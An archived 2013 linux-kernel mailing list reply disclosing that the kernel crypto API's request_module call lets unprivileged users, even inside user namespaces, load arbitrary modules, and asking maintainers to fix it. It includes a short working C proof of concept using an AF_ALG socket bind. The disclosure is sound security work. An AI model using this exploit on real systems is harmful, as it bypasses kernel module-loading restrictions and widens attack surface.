lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date:	Mon, 4 Mar 2013 09:29:59 +0100
From:	Mathias Krause <minipli@...glemail.com>
To:	Kees Cook <keescook@...gle.com>
Cc:	"Serge E. Hallyn" <serge@...lyn.com>,
	"Eric W. Biederman" <ebiederm@...ssion.com>,
	LKML <linux-kernel@...r.kernel.org>,
	Serge Hallyn <serge.hallyn@...onical.com>,
	Brad Spengler <spender@...ecurity.net>,
	Al Viro <viro@...iv.linux.org.uk>,
	Eric Paris <eparis@...hat.com>,
	Rusty Russell <rusty@...tcorp.com.au>,
	PaX Team <pageexec@...email.hu>,
	Herbert Xu <herbert@...dor.apana.org.au>,
	"David S. Miller" <davem@...emloft.net>
Subject: Re: user ns: arbitrary module loading

On Sun, Mar 03, 2013 at 09:48:50AM -0800, Kees Cook wrote:
> Several subsystems already have an implicit subsystem restriction
> because they load with aliases. (e.g. binfmt-XXXX, net-pf=NNN,
> snd-card-NNN, FOO-iosched, etc). This isn't the case for filesystems
> and a few others, unfortunately:
> 
> $ git grep 'request_module("%.*s"' | grep -vi prefix
> crypto/api.c:           request_module("%s", name);
> 
> [...]
> 
> Several of these come from hardcoded values, though (e.g. crypto, chipreg).

Well, crypto does not. Try the code snippet below on a system with
CONFIG_CRYPTO_USER_API=y. It'll abuse the above request_module() call
to load any module the user requests -- iregardless of being contained
in a user ns or not.

---8<---
/* Loading arbitrary modules using crypto api since v2.6.38
 *
 * - minipli
 */
#include <linux/if_alg.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#ifndef AF_ALG
#define AF_ALG 38
#endif


int main(int argc, char **argv) {
	struct sockaddr_alg sa_alg = {
		.salg_family = AF_ALG,
		.salg_type = "hash",
	};
	int sock;

	if (argc != 2) {
		printf("usage: %s MODULE_NAME\n", argv[0]);
		exit(1);
	}

	sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
	if (sock < 0) {
		perror("socket(AF_ALG)");
		exit(1);
	}

	strncpy((char *) sa_alg.salg_name, argv[1], sizeof(sa_alg.salg_name));
	bind(sock, (struct sockaddr *) &sa_alg, sizeof(sa_alg));
	close(sock);

	return 0;
}
--->8---

If people care about unprivileged users not being able to load arbitrary
modules, could someone please fix this in crypto API, then? Herbert?


Thanks,
Mathias
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ